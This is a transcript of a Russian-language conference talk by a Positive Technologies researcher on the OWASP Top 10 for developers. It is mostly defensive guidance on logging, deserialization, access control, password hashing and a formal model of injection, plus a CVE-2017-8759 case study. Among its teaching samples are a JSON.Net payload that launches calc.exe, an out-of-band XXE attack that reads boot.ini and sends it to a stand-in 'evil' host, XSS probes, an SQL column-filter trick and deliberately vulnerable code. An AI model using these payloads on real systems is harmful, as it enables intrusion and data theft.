Upgrade to Pro — share decks privately, control downloads, hide ads and more …

OWASP Top 10 для разработчиков

OWASP Top 10 для разработчиков

Доклад Владимира Кочеткова (Positive Technologies) для PDUG-секции на IT-фестивале TechTrain.

Positive Development User Group

September 02, 2018
Tweet

More Decks by Positive Development User Group

Other Decks in Programming

Transcript

  1. Заголовок ptsecurity.com OWASP TOP 10 для разработчиков Владимир Кочетков Positive

    Technologies
  2. Заголовок Руководитель отдела исследований по анализу защищённости приложений Positive Technologies

    AppSec- и CS-исследователь (формальные методы анализа и защиты приложений) Организатор Positive Development User Group https://about.me/vladimir.kochetkov vkochetkov@ptsecurity.com :~$ whoami
  3. Заголовок Открытое сообщество разработчиков и IT- специалистов, посвящённое вопросам безопасности

    приложений. https://t.me/ru_appsec Positive Development User Group
  4. Заголовок OWASP TOP 10

  5. Заголовок • Хит-парад проблем безопасности веб-приложений, формируемый с 2004, каждые

    3-4 года, на основе опросов, отчётов и аналитики множества компаний и независимых экспертов: github.com/OWASP/Top10 • Включает в себя, как недостатки, так и атаки • Версия 2017 года формировалась на основе отчётов более, чем 40 мировых компаний, содержавших статистику об уязвимостях в 114 897 приложениях и опросов около 500 независимых экспертов. WTF OWASP TOP 10?
  6. Заголовок A primary aim of the OWASP Top 10 is

    to educate developers, designers, architects, managers, and organizations about the consequences of the most common and most important web application security weaknesses Предназначение OWASP TOP 10
  7. Заголовок A10:2017 – Insufficient Logging and Monitoring

  8. Заголовок Класс недостатков, связанных с низкой информативностью диагностических средств или

    возможностью нарушения целостности обрабатываемой ими информации Неэффективное журналирование и мониторинг
  9. Заголовок • События управления доступом: • Аутентификация и авторизация (как

    успех, так и отказ) • Выдача сессионных токенов или других билетов аутентификации • Явное завершение пользовательской сессии • Восстановление доступа • Все попытки доступа к конфиденциальной информации и изменения целостной, включая результаты таких попыток • Все ошибки и исключения (включая перехватываемые) Что и когда журналировать
  10. Заголовок • Просканировать приложение любым black-box анализатором: • bbs.ptsecurity.com •

    www.acunetix.com • subgraph.com/vega • Убедиться, что сформированные в ходе сканирования логи достаточны для того, чтобы подтвердить факт автоматизированной атаки Простой способ убедиться в эффективности логирования
  11. Заголовок • Использовать существующие средства журналирования с возможностью безопасной параметризации:

    • github.com/NLog/Nlog • serilog.net • Обратить внимание на проект: github.com/Azure/diagnostics- eventflow Журналирование в .NET
  12. Заголовок • Использовать существующие средства журналирования с возможностью безопасной параметризации:

    • esapi-java (SecurityLogger) • owasp-security-logging • serilogj Журналирование в .Java
  13. Заголовок A9:2017 – Using Components with Known Vulnerabilities

  14. Заголовок DependencyCheck snyk.io Проверка уязвимых компонентов приложений

  15. Заголовок A8:2017 – Insecure Deserialization

  16. Заголовок • В ходе реконструкции структуры объекта могут использоваться вызовы:

    • конструкторов по умолчанию и заполнение полей и свойств через рефлексию или вызовы соответствующих сеттеров; • «специальных» конструкторов; • конвертеров типов; • callback'ов • Рано или поздно, созданный объект будет финализирован и собран GC Как работает сериализатор?
  17. Заголовок Что, если: • атакующий подменит или изменит сериализованные данные

    таким образом, чтобы в процессе десериализации оказался создан объект неавторизованного типа? В чём проблема?
  18. Заголовок { "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework", "ObjectInstance":{ "$type":"System.Diagnostics.Process, System”}, "MethodName":"Start", "MethodParameters":{

    "$type":"System.Collections.ArrayList, mscorlib", "$values":["calc.exe"]} } Например так
  19. Заголовок ¯\_(ツ)_/¯

  20. Заголовок • Недостаток, в результате которой атакующий имеет возможность выполнить

    неавторизованный код на целевой системе или нарушить целостность модели предметной области приложения • Атака возможна в случаях, если атакующий контролирует сериализованный объект и: • у него есть возможность контролировать тип объекта, создаваемого десериализатором; • ожидаемый десериализатором тип содержит поля или свойства, для которых актуальны угрозы нарушения целостности, авторизованности или аутентичности. Небезопасная десериализация
  21. Заголовок Сериализаторы .NET Framework (© Alvaro Muñoz)

  22. Заголовок Сериализаторы JSON (© Alvaro Muñoz)

  23. Заголовок // ... services.AddMvc().AddJsonOptions(options => { // XXX ∈ {

    // TypeNameHandling.All, // TypeNameHandling.Auto, // TypeNameHandling.Arrays, // TypeNameHandling.Objects // } options.SerializerSettings.TypeNameHandling = TypeNameHandling.XXX; }); // ... Уязвимый код (JSON.Net)
  24. Заголовок • Сформировать все возможные векторы атаки для используемого сериализатора

    с помощью: ysoserial (Java) или ysoserial.net (.NET) • Убедиться, что при передаче их в качестве сериализованных объектов, заданная в векторе команда не выполняется Лёгкий способ протестировать десериализатор
  25. Заголовок • Не десереализовывать входные данные • При пробросе сериализованных

    данных между HTTP-запросами использовать подтверждение их аутентичнсти (цифровую подпись) • Использовать сериализатор со строгим контролем типов всего графа объекта на стороне десериализатора • Избегать использования при десериализации какой-либо информации о типах, производной из входных данных Как защититься?
  26. Заголовок A7:2017 – Cross-Site Scripting (XSS)

  27. Заголовок • Атака (как правило – инъекции), направленная на выполнение

    кода произвольного сценария на клиенте в контексте атакуемого сайта → обход ограничений same origin policy • Специфические подходы к защите: • X-XSS-Protection: • 1;mode=block • 1;report=http://example.com/report_URI • X-Content-Type-Option: nosniff • Content-Security-Policy: (www.owasp.org/index.php/OWASP_Secure_Headers_Project ) • Access-Control-Allow-Origin: (www.owasp.org/index.php/HTML5_Security_Cheat_Sheet#Cross_Origin_Resource_Sharin g) Межсайтовый скриптинг
  28. Заголовок A6:2017 – Security Misconfiguration

  29. Заголовок Как должно быть (разработчик, безопасник, администратор)

  30. Заголовок Как обычно получается

  31. Заголовок Обеспечивать безопасность первоначальной (дефолтной) конфигурации приложения Что должен делать

    разработчик?
  32. Заголовок • При разработке нового проекта под ASP.NET MVC брать

    за основу шаблон github.com/johnstaveley/SecurityEssentials/ • github.com/ASP-NET-Core-Boilerplate/Templates – при разработке под ASP.NET Core • Под – Java следовать кейсам из JavaSecurity • Если это невозможно, обеспечить безопасность первоначальной конфигурации вручную Так, а делать-то – что?
  33. Заголовок • Убрать из конфигурационных файлов все неиспользуемые директивы и

    опции • Обеспечить отсутствие в релизной конфигурации по умолчанию реквизитов доступа к каким-либо ресурсам • Исключить из HTTP-ответов заголовки с названием и версией веб-сервера ("Server", “Version"), обеспечить наличие security- заголовков • Устанавливать флаг secure и httpOnly для конфиденциальных cookies Защита конфигурации вручную: базовый чек-лист
  34. Заголовок A5:2017 – Broken Access Control

  35. Заголовок • Недостаток, позволяющий атакующему воспользоваться привилегиями под учётной записью,

    которая ими не обладает. • Некоторые возможные причины: • Отсутствие или неэффективность проверок доступа • Использование незащищённых идентификаторов ресурсов • Возможность подделки, воспроизведения или использования сессионных токенов • Неправильная конфигурация CORS • Отсутствие проверок доступа в методах контроллеров, изменяющих состояние модели Неэффективный контроль доступа
  36. Заголовок • Вся доступная функциональность бизнес-логики должна быть распределена между

    ролями явным образом. Гость – тоже роль. services.ConfigureMvc(options => { options.Filters.Add( new AuthorizeFilter(new AuthorizationPolicyBuilder() .RequireAuthenticatedUser() .Build())); }); Как защититься (1/2)
  37. Заголовок • Элементы контроля доступа должны быть реализованы на всех

    слоях: • Представление: сокрытие информации о недоступной функциональности • Бизнес-логика: отсутствие функциональности, меняющей состояние модели до выполнения авторизации • Модель: контроль доступа с учетом запрашиваемых данных (row-level security и т.п) • Идентификаторы объектов должны обладать прямой и обратной секретностью Как защититься (2/2)
  38. Заголовок A4:2017 – XML External Entities (XXE)

  39. Заголовок • Атака на парсер XML, основанная на внедрении в

    документ внешних сущностей и позволяющая осуществлять чтение локальных файлов и, в некоторых случаях, выполнять произвольный код • Возможна, если в парсере XML включена обработка внешних сущностей Внедрение внешних сущностей XML
  40. Заголовок attack.xml: <?xml version="1.0" encoding="uq-8"?> <!DOCTYPE root [ <!ENTITY %

    remote SYSTEM "http://evilhost/evil.xml"> %remote; %internal; %trick; ]> evil.xml: <!ENTITY % payload SYSTEM "file:///c:/boot.ini"> <!ENTITY % internal "<!ENTITY &#37; trick SYSTEM http://evil/?%payload;'>"> Пример атаки Out-of-Band XXE Data Retrieval
  41. Заголовок • XmlReader • Свойство ProhibitDtd • .NET <4.0: true/false,

    по умолчанию – true; • .NET 4.0+: Prohibit/Ignore/Parse, по умолчанию – Prohibit; • XmlTextReader • Свойство ProhibitDtd • .NET <4.0: true/false, по умолчанию – true; • .NET 4.0+: Prohibit/Ignore/Parse, по умолчанию – Parse; • XmlDocument • Свойство XmlResolver • .NET <4.6: DefaultXmlResolver • .NET 4.6+: null XML парсеры .NET
  42. Заголовок Всё сложно (https://www.blackhat.com/docs/us-15/materials/us-15- Wang-FileCry-The-New-Age-Of-XXE-java-wp.pdf) XML-парсеры Java

  43. Заголовок A3:2017 – Sensitive Data Exposure

  44. Заголовок • Недостаток, позволяющий атакующему получить доступ к конфиденциальной информации

    • Причины: • Утечки по побочным каналам (тайминги, реакция приложения на штатные запросы) • Неэффективное использование криптографии • Использование незащищённых протоколов передачи информации Разглашение значимых данных
  45. Заголовок Тайминг-атаки LAN: разница в 200 наносекунд за 1000 измерений;

    Internet: разница в 30 микросекунд за 1000 измерений; www.cs.rice.edu/~dwallach/pub/crosby-timing2009.pdf В случае с HTTP есть возможность усилить канал: xakep.ru/2015/06/03/web-app-hack-keep-alive Добавление случайных временных задержек проблему не решает: events.ccc.de/congress/2012/Fahrplan/attachments/2235_29c3- schinzel.pdf
  46. Заголовок

  47. Заголовок Страх и ненависть в отдельно взятом проекте: 2010 (1/2)

    var fieldName = Request["field"] ?? "Id"; var minValue = Request["min"]; var maxValue = Request["max"]; var queryTemplate = string.Format( "SELECT * FROM Users WHERE {0} >= @minValue AND {0} <= @maxValue ORDER BY {0}", Regex.Replace(fieldName, "[^a-zA-Z0-9]+", string.Empty) ); var selectCommand = string.Format(queryTemplate, debugStr); var cmd = new SqlCommand(selectCommand, dataConnection); cmd.Parameters.Add(new SqlParameter("@minValue", minValue)); cmd.Parameters.Add(new SqlParameter("@maxValue", maxValue)); ... /users/filter.aspx?field={fieldName}&min={minBalue}&max={maxValue} Users Id Nickname Rating MessageCount TopicCount Password
  48. Заголовок Страх и ненависть в отдельно взятом проекте: 2010 (2/2)

    var fieldName = Request["field"] ?? "Id"; var minValue = Request["min"]; var maxValue = Request["max"]; var queryTemplate = string.Format( "SELECT * FROM Users WHERE {0} >= @minValue AND {0} <= @maxValue ORDER BY {0}", Regex.Replace(fieldName, "[^a-zA-Z0-9]+", string.Empty) ); var selectCommand = string.Format(queryTemplate, debugStr); var cmd = new SqlCommand(selectCommand, dataConnection); cmd.Parameters.Add(new SqlParameter("@minValue", minValue)); cmd.Parameters.Add(new SqlParameter("@maxValue", maxValue)); ... /users/filter.aspx?field=Password&min=0&max=0 Users Id Nickname Rating MessageCount TopicCount Password
  49. Заголовок • HTTP через TLS. Предназначен для обеспечения: • конфиденциальности

    и целостности данных, передаваемых по HTTP; • аутентичности стороны сервера (реже – и клиента). • Или иными словами для защиты от атак класса MitM. Немного об HTTPS
  50. Заголовок • Популярные подходы: • HTTP по умолчанию, HTTPS по

    выбору пользователя, • HTTP везде, критические точки входа через HTTPS, неэффективны и подвержены атакам TLS Stripping. • Частично противодействовать им можно, используя: • site-wide HTTPS без опционального HTTP, • HTTP-заголовок: Strict-Transport-Security: max-age=expireTime [; includeSubdomains], при условии, что первый раз пользователь попадет на сайт по протоколу HTTPS. Немного об HTTPS
  51. Заголовок A2:2017 – Broken Authentication

  52. Заголовок • Недостаток, позволяющий атакующему получать информацию об учётных данных

    других пользователей или аутентифицироваться от лица других пользователей • Причины: • Отсутствие или неэффективная реализация защиты от автоматизированных атак (прямой перебор по пользователю или паролю, набивка учетных данных и т.п) • Неэффективный контроль сложности паролей • Хранение учётных данных в открытом или недостаточно защищённом виде • Отсутствие или неэффективное использование 2FA • Проблемы конфиденциальности и актуальности сессионных токенов Неэффективная аутентификация
  53. Заголовок • Внедрение средств анти-автоматизации (reCAPTCHA) • Ограничение (замедление) попыток

    прямого перебора • Пароля по известному имени • Имени по известному паролю • Утекших учётных данных с других ресурсов • Внедрение средств контроля сложности паролей (есть нюансы) Как защититься
  54. Заголовок Криптографические функции хэширования не подходят для задачи хранения учётных

    данных. Для хэширования паролей следует использовать адаптивные функции Argon2 (password-hashing.net), PBKDF2, scrypt, bcrypt: pwd-hash = salt || adaptive_hash(password, salt) или дайджест-функции: pwd-hash = salt || HMAC-SHA-256(password, salt, secret) Общие принципы хранения паролей
  55. Заголовок • Предназначение соли — затруднение атак по словарям и

    радужным таблицам • Соль не является секретом и должна быть случайной и уникальной для каждого пароля • Длина соли должна быть достаточной для обеспечения энтропии salt || password >= 256 бит для любого возможного пароля → длина соли >= 32 байта Соль
  56. Заголовок // .NET Framework public static string GetPasswordHash(string password) {

    var rfc2898DeriveBytes = new Rfc2898DeriveBytes(password, 32); rfc2898DeriveBytes.IterationCount = 16384; byte[] hash = rfc2898DeriveBytes.GetBytes(32); byte[] salt = rfc2898DeriveBytes.Salt; return Convert.ToBase64String(salt) + "|" + Convert.ToBase64String(hash); } // .NET Core public static string GetPasswordHash(string password) { byte[] salt = new byte[128 / 8]; using (var rng = RandomNumberGenerator.Create()) { rng.GetBytes(salt); } string hash = Convert.ToBase64String(KeyDerivation.Pbkdf2( password: password, salt: salt, prf: KeyDerivationPrf.HMACSHA256, iterationCount: 16384, numBytesRequested: 256 / 8)); return Convert.ToBase64String(salt) + "|" + hash; } Хранение паролей в .NET
  57. Заголовок A1:2017 – Injection

  58. Заголовок «Параметризация SQL-запросов и ORM решают!» Мифы об инъекциях (1/3)

  59. Заголовок • Интерпретируемый код • Структурированные данные • Код разметки

    • ID внешних ресурсов • Любые грамматики, с числом токенов > 1 Кто сказал, что речь только об SQL?
  60. Заголовок «ТАК – уже давно никто не пишет!» Мифы об

    инъекциях (2/3)
  61. Заголовок Что же тогда атаковали хакеры в Q2.2017? (1/2) https://www.ptsecurity.com/upload/corporate/ru-

    ru/analytics/WebApp-Vulnerabilities-2017-rus.pdf
  62. Заголовок Что же тогда атаковали хакеры в Q2.2017? (2/2) 84,6%

    https://www.ptsecurity.com/upload/corporate/ru- ru/analytics/WebApp-Vulnerabilities-2017-rus.pdf
  63. Заголовок https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html ТАК – пишут даже в Microsoft (CVE-2017-8759)

  64. Заголовок «Инъекцию ещё надо суметь найти и проэксплуатировать!» Мифы об

    инъекциях (3/3)
  65. Заголовок «Враг знает систему» • если уязвимость может быть обнаружена,

    она будет обнаружена; • если уязвимость может быть проэксплуатирована, она будет проэксплуатирована; • при эксплуатации уязвимости будет нанесён максимально возможный ущерб. Принцип Керкгоффса-Шеннона
  66. Заголовок • Инъекции – хорошо формализуемый класс уязвимостей • Существует

    формальный подход, как к разработке защищённого от инъекций кода, так и к защите существующего от атак на них Good news everyone!
  67. Заголовок ptsecurity.com Формально об инъекциях

  68. Заголовок 01 var a = Request.Params["a"]; 02 03 var b

    = Request.Params["b"]; 04 05 if (a == null) 06 { 07 return; 08 } 09 10 if (b == null) 11 { 12 return; 13 } 14 15 Response.Write($"<img src='//host/1/{a}' onclick='f({b})'/>"); Граница окружения Модель уязвимого приложения (1/7)
  69. Заголовок 01 var a = Request.Params["a"]; 02 03 var b

    = Request.Params["b"]; 04 05 if (a == null) 06 { 07 return; 08 } 09 10 if (b == null) 11 { 12 return; 13 } 14 15 Response.Write($"<img src='//host/1/{a}' onclick='f({b})'/>"); Точка входа a Граница окружения Модель уязвимого приложения (2/7)
  70. Заголовок 01 var a = Request.Params["a"]; 02 03 var b

    = Request.Params["b"]; 04 05 if (a == null) 06 { 07 return; 08 } 09 10 if (b == null) 11 { 12 return; 13 } 14 15 Response.Write($"<img src='//host/1/{a}' onclick='f({b})'/>"); Точка входа a Точка входа b Граница окружения Модель уязвимого приложения (3/7)
  71. Заголовок Точка выхода fpvo (ftransform (a, b)) 01 var a

    = Request.Params["a"]; 02 03 var b = Request.Params["b"]; 04 05 if (a == null) 06 { 07 return; 08 } 09 10 if (b == null) 11 { 12 return; 13 } 14 15 Response.Write($"<img src='//host/1/{a}' onclick='f({b})'/>"); Точка входа a Точка входа b Граница окружения Модель уязвимого приложения (4/7)
  72. Заголовок Точка выхода fpvo (ftransform (a, b)) 01 var a

    = Request.Params["a"]; 02 03 var b = Request.Params["b"]; 04 05 if (a == null) 06 { 07 return; 08 } 09 10 if (b == null) 11 { 12 return; 13 } 14 15 Response.Write($"<img src='//host/1/{a}' onclick='f({b})'/>"); Точка входа a Точка входа b Граница окружения Модель уязвимого приложения (5/7)
  73. Заголовок 01 var a = Request.Params["a"]; 02 03 var b

    = Request.Params["b"]; 04 05 if (a == null) 06 { 07 return; 08 } 09 10 if (b == null) 11 { 12 return; 13 } 14 15 Response.Write($"<img src='//host/1/{a}' onclick='f({b})'/>"); Точка входа a Точка входа b Точка выхода fpvo (ftransform (a, b)) Граница окружения Модель уязвимого приложения (6/7) Точка инъекции a
  74. Заголовок 01 var a = Request.Params["a"]; 02 03 var b

    = Request.Params["b"]; 04 05 if (a == null) 06 { 07 return; 08 } 09 10 if (b == null) 11 { 12 return; 13 } 14 15 Response.Write($"<img src='//host/1/{a}' onclick='f({b})'/>"); Точка входа a Точка входа b Точка выхода fpvo (ftransform (a, b)) Граница окружения Модель уязвимого приложения (7/7) Точка инъекции a Точка инъекции b
  75. Заголовок Атаки инъекции направлены на внедрение в точки инъекции грамматических

    конструкций, не предусмотренных логикой приложения Суть атаки инъекции
  76. Заголовок 01 var a = Request.Params["a"]; 02 03 var b

    = Request.Params["b"]; 04 05 if (a == null) 06 { 07 return; 08 } 09 10 if (b == null) 11 { 12 return; 13 } 14 15 Response.Write($"<img src='//host/1/{a}' onclick='f({b})'/>"); image.jpg Граница окружения Модель атаки (HTML/URL, нет инъекции) < img src = ' // host / 1 / image.jpg ' …
  77. Заголовок 01 var a = Request.Params["a"]; 02 03 var b

    = Request.Params["b"]; 04 05 if (a == null) 06 { 07 return; 08 } 09 10 if (b == null) 11 { 12 return; 13 } 14 15 Response.Write($"<img src='//host/1/{a}' onclick='f({b})'/>"); ../image.jpg Граница окружения Модель атаки (HTML/URL, инъекция URL-пути) < img src = ' // host / 1 / .. / image.jpg ' …
  78. Заголовок 01 var a = Request.Params["a"]; 02 03 var b

    = Request.Params["b"]; 04 05 if (a == null) 06 { 07 return; 08 } 09 10 if (b == null) 11 { 12 return; 13 } 14 15 Response.Write($"<img src='//host/1/{a}' onclick='f({b})'/>"); 'onerror='alert(0) Граница окружения Модель атаки (HTML/URL, инъекция HTML-атрибута) < img src = ' // host / 1 / ' onerror = ' alert ( 0 ) ' …
  79. Заголовок 01 var a = Request.Params["a"]; 02 03 var b

    = Request.Params["b"]; 04 05 if (a == null) 06 { 07 return; 08 } 09 10 if (b == null) 11 { 12 return; 13 } 14 15 Response.Write($"<img src='//host/1/{a}' onclick='f({b})'/>"); '><script>alert(0)</script> Граница окружения Модель атаки (HTML/URL, инъекция HTML-тега) < img src = ' // host / 1 / ' > < script > alert(0) </ script >' …
  80. Заголовок 01 var a = Request.Params["a"]; 02 03 var b

    = Request.Params["b"]; 04 05 if (a == null) 06 { 07 return; 08 } 09 10 if (b == null) 11 { 12 return; 13 } 14 15 Response.Write($"<img src='//host/1/{a}' onclick='f({b})'/>"); Граница окружения Модель атаки (HTML/JavaScript, нет инъекции) … onclick = ' f ( 0 ) ' /> 0
  81. Заголовок 01 var a = Request.Params["a"]; 02 03 var b

    = Request.Params["b"]; 04 05 if (a == null) 06 { 07 return; 08 } 09 10 if (b == null) 11 { 12 return; 13 } 14 15 Response.Write($"<img src='//host/1/{a}' onclick='f({b})'/>"); Граница окружения Модель атаки (HTML/JavaScript, инъекция JavaScript-выражения #1) … onclick = ' f ( alert ( 0 ) ) ' /> alert(0)
  82. Заголовок 01 var a = Request.Params["a"]; 02 03 var b

    = Request.Params["b"]; 04 05 if (a == null) 06 { 07 return; 08 } 09 10 if (b == null) 11 { 12 return; 13 } 14 15 Response.Write($"<img src='//host/1/{a}' onclick='f({b})'/>"); Граница окружения Модель атаки (HTML/JavaScript, инъекция JavaScript-выражения #2) … onclick = ' f ( 0 ) ; alert ( 0 ) ) ' /> 0); alert(0)
  83. Заголовок 01 var a = Request.Params["a"]; 02 03 var b

    = Request.Params["b"]; 04 05 if (a == null) 06 { 07 return; 08 } 09 10 if (b == null) 11 { 12 return; 13 } 14 15 Response.Write($"<img src='//host/1/{a}' onclick='f({b})'/>"); Граница окружения Модель атаки (HTML/JavaScript, инъекция HTML-атрибута) … onclick = ' f ( ' onclick = ' alert ( 0 ) ' /> ' onclick='alert(0
  84. Заголовок 01 var a = Request.Params["a"]; 02 03 var b

    = Request.Params["b"]; 04 05 if (a == null) 06 { 07 return; 08 } 09 10 if (b == null) 11 { 12 return; 13 } 14 15 Response.Write($"<img src='//host/1/{a}' onclick='f({b})'/>"); Граница окружения Модель атаки (HTML/JavaScript, инъекция HTML-тега) … onclick = ' f ( ' > < script > alert ( 0 ) </ script > ) ' /> '><script>alert(0)</script>
  85. Заголовок • Нет атаки – 1 токен в точке инъекции

    • Есть атака – более 1 токена в точке инъекции Посчитаем токены?
  86. Заголовок Приложение защищено от атак инъекций тогда, когда в результате

    лексического разбора любого возможного выходного потока данных, на каждую точку инъекции приходится не более одного токена. Достаточный критерий защищённости от атак инъекций
  87. Заголовок Что если сама логика приложения подразумевает наличие более одного

    токена в какой-либо точке инъекции? Достаточный критерий не всегда применим
  88. Заголовок 01 var a = Request.Params["a"]; 02 03 var b

    = Request.Params["b"]; 04 05 if (a == null) 06 { 07 return; 08 } 09 10 if (b == null) 11 { 12 return; 13 } 14 15 Response.Write($"<img src='//host/1/{a}' onclick='f({b})'/>"); Граница окружения Модель атаки (HTML/JavaScript, нет инъекции) … onclick = ' f ( { "f1" : "val1" , "f2" : "val2" } ) ' /> { "f1": "val1", "f2": "val2" }
  89. Заголовок Приложение защищено от атак инъекций тогда, когда в результате

    лексического разбора любого возможного потока выходных данных, множества токенов, приходящиеся на точки инъекции, являются авторизованными. Необходимый критерий защищённости от атак инъекций
  90. Заголовок 01 var a = Request.Params["a"]; 02 03 var b

    = Request.Params["b"]; 04 05 if (a == null) 06 { 07 return; 08 } 09 10 if (b == null) 11 { 12 return; 13 } 14 15 Response.Write($"<img src='//host/1/{a}/' onclick='f({b})'/>"); Ga = ANY Граница окружения Причина инъекции – несогласованность грамматик (1/3) Ga' = HTMLatt-value / URLname
  91. Заголовок 01 var a = Request.Params["a"]; 02 03 var b

    = Request.Params["b"]; 04 05 if (a == null) 06 { 07 return; 08 } 09 10 if (b == null) 11 { 12 return; 13 } 14 15 Response.Write($"<img src='//host/1/{a}/' onclick='f({b})'/>"); Gb = ANY Граница окружения Причина инъекции – несогласованность грамматик (2/3) Gb' = HTMLatt-value / JSint-literal
  92. Заголовок 01 var a = Request.Params["a"]; 02 03 var b

    = Request.Params["b"]; 04 05 if (a == null) 06 { 07 return; 08 } 09 10 if (b == null) 11 { 12 return; 13 } 14 15 Response.Write($"<img src='//host/1/{a}/' onclick='f({b})'/>"); Gb = ANY Граница окружения Причина инъекции – несогласованность грамматик (3/3) Gb' = HTMLatt-value / JSjson-object
  93. Заголовок ptsecurity.com Как победить инъекции?

  94. Заголовок Победить инъекции возможно, обеспечив выполнение одного из критериев через

    согласование грамматик входных данных и данных в точках инъекции Очевидный поход
  95. Заголовок Входные данные должны согласовываться с бизнес-логикой приложения за счёт:

    • Типизации • Валидации • Синтаксической • Семантической Подходы к согласованию грамматик входных данных Обеспечение необходимого или достаточного критериев
  96. Заголовок Типизация – приведение входных данных к конкретному типу: var

    b = int.Parse(Request.Params["b"]) Типизация
  97. Заголовок 01 var a = Request.Params["a"]; 02 03 var b

    = int.Parse(Request.Params["b"]); 04 05 if (a == null) 06 { 07 return; 08 } 09 10 if (b == null) 11 { 12 return; 13 } 14 15 Response.Write($"<img src='//host/1/{a}/' onclick='f({b})'/>"); Граница окружения Согласование грамматик (типизация) Gb = int-literal Gb = HTMLatt-value / JSint-literal
  98. Заголовок Синтаксическая валидация – проверка входных данных на соответствие какой-либо

    грамматике: 01 var url_regex = 02 "^(([^:/?#]+):)?(//([^/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?"; 03 04 if (!Regex.IsMatch(Request.Params["a"], url_regex)) 05 { 06 throw new ValidationException(); 07 } Синтаксическая валидация
  99. Заголовок • Разбор строки вручную (методы System.String) • System.Text.RegularExpressions •

    System.Web.UI.WebControls.RegularExpressionValidator • System.ComponentModel.DataAnnotations • RegularExpressionAttribute • StringLengthAttribute Некоторые средства синтаксической валидации в .NET
  100. Заголовок 01 var a = Request.Params["a"]; 02 03 var b

    = Request.Params["b"]; 04 05 if (!Regex.IsMatch("[^:@/?#\r\n]+", b ?? string.Empty)) 06 { 07 return; 08 } 09 10 if (b == null) 11 { 12 return; 13 } 14 15 Response.Write($"<img src='//host/1/{a}' onclick='f({b})'/>"); Ga = URLname Граница окружения Согласование грамматик (синтаксическая валидация) Ga' = HTMLatt-value / URLname
  101. Заголовок Семантическая валидация – проверка входных данных на корректность с

    точки зрения логики приложения: 01 var schema = JSchema.Parse("some JSON schema"); 02 var object = JObject.Parse(Request.Params["b"]); 03 04 if (!object.IsValid(schema)) 05 { 06 throw new ValidationException(); 07 } Семантическая валидация
  102. Заголовок • Проверка свойств типизированных объектов • System.Web.UI.WebControls • CustomValidator

    • RangeValidator • System.ComponentModel.DataAnnotations • CustomValidationAttribute • DataTypeAttribute • RangeAttribute • System.Json Некоторые средства семантической валидации в .NET
  103. Заголовок Типизация и семантическая валидация не примитивных типов, может повлечь

    уязвимости к атакам других классов (SSRF, DoS, RCE и т.п.) Опасности типизации и семантической валидации
  104. Заголовок 01 var a = Request.Params["a"]; 02 03 var b

    = ParseAndValidateJson(Request.Params["b"], schema); 04 05 if (a == null) 06 { 07 return; 08 } 09 10 if (b == null) 11 { 12 return; 13 } 14 15 Response.Write($"<img src='//host/1/{a}' onclick='f({b})'/>"); Граница окружения Согласование грамматик (семантическая валидация) Gb = JSONobject Gb = HTMLatt-value / JSONobject
  105. Заголовок Выходные данные должны согласовываться с грамматикой принимающей стороны за

    счёт санитизации Подходы к согласованию грамматик выходных данных Обеспечение достаточного критерия
  106. Заголовок Санитизация – преобразование строковых данных к синтаксису какого-либо токена

    заданной грамматики 01 Response.Write( 02 $"<a href='//host/1/{UrlEncode(Request.Params["a"])}'>…</a>" 03 ); Санитизация
  107. Заголовок В случае вложенных грамматик, например: G = JavaScriptcontext /

    URLcontext санитизацию необходимо проводить последовательно, в обратном порядке: JavaScriptEncodecontext (UrlEncodecontext (t)). Санитизация вложенных грамматик
  108. Заголовок 01 var a = UrlEncode(Request.Params["a"]); 02 03 var b

    = Request.Params["b"]); 04 05 if (a == null) 06 { 07 return; 08 } 09 10 if (b == null) 11 { 12 return; 13 } 14 15 Response.Write($"<img src='//host/1/{a}' onclick='f({b})'/>"); Ga = URLname Граница окружения Согласование грамматик (санитизация) Ga' = HTMLatt-value / URLname
  109. Заголовок • выделить в приложении все точки входа данных; •

    выделить все точки инъекции производных от них данных; • провести типизацию и валидацию в точках входа с учётом требований бизнес-логики; Чтобы победить инъекции разработчик должен: (1/2)
  110. Заголовок • провести санитизацию в точках инъекций, с учётом ожидаемых

    в них грамматик принимающей стороной; • (опционально) подтверждать авторизованность множества токенов в точках инъекций. Чтобы победить инъекции разработчик должен: (2/2)
  111. Заголовок ptsecurity.com CVE-2017-8759 (инъекция произвольного C#-кода в System.Runtime.Remoting. MetadataServices.WsdlParser)

  112. Заголовок • Загрузка WSDL сервиса • Генерация исходного кода прокси

    (PrintClientProxy) • Компиляция прокси с помощью CSC • Создание экземпляра прокси и взаимодействие с ним Обработка связей с веб-сервисами в MS Office
  113. Заголовок 01 sb.Length = 0; 02 sb.Append(indent2); 03 if (i

    == 0) 04 { 05 sb.Append("base.ConfigureProxy(this.GetType(), "); 06 sb.Append(WsdlParser.IsValidUrl((string)_connectURLs[i])); 07 sb.Append(");"); 08 } 09 else 10 { 11 // Only the first location is used, the rest are commented out in the proxy 12 sb.Append("//base.ConfigureProxy(this.GetType(), "); 13 sb.Append(WsdlParser.IsValidUrl((string)_connectURLs[i])); 14 sb.Append(");"); 15 } 16 textWriter.WriteLine(sb); PrintClientProxy
  114. Заголовок 01 if (value == null) { return "\"\""; }

    02 vsb.Length= 0; 03 vsb.Append("@\""); 04 05 for (int i=0; i<value.Length; i++) 06 { 07 if (value[i] == '\"') vsb.Append("\"\""); 08 else vsb.Append(value[i]); 09 } 10 11 vsb.Append("\""); 12 return vsb.ToString(); IsValidUrl
  115. Заголовок В результате… https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html

  116. Заголовок 01 if (!System.Runtime.Remoting.Configuration.AppSettings.AllowUnsanitizedWSDLUrls) 02 { 03 return WsdlParser.TransliterateString(value); 04

    } 05 06 if (value == null) { return "\"\""; } 07 vsb.Length= 0; 08 vsb.Append("@\""); 09 10 for (int i=0; i<value.Length; i++) 11 { 12 if (value[i] == '\"') vsb.Append("\"\""); 13 else vsb.Append(value[i]); 14 } 15 16 vsb.Append("\""); 17 return vsb.ToString(); Исправленный IsValidUrl
  117. Заголовок 01 if (string.IsNullOrEmpty(str)) { return "\"\""; } 02 StringBuilder

    sb = new StringBuilder("\""); 03 foreach (char c in str) 04 { 05 if (char.IsControl(c)) { continue; } 06 if (char.IsLetterOrDigit(c)) 07 { 08 sb.Append(c); 09 } 10 else 11 { 12 sb.Append("\\u"); 13 sb.Append(Convert.ToInt32(c).ToString("X4")); 14 } 15 } 16 sb.Append("\""); 17 return sb.ToString(); TransliterateString
  118. Заголовок Муторно, рутинно и на серебряную пулю не похоже =/

    Впечатления?
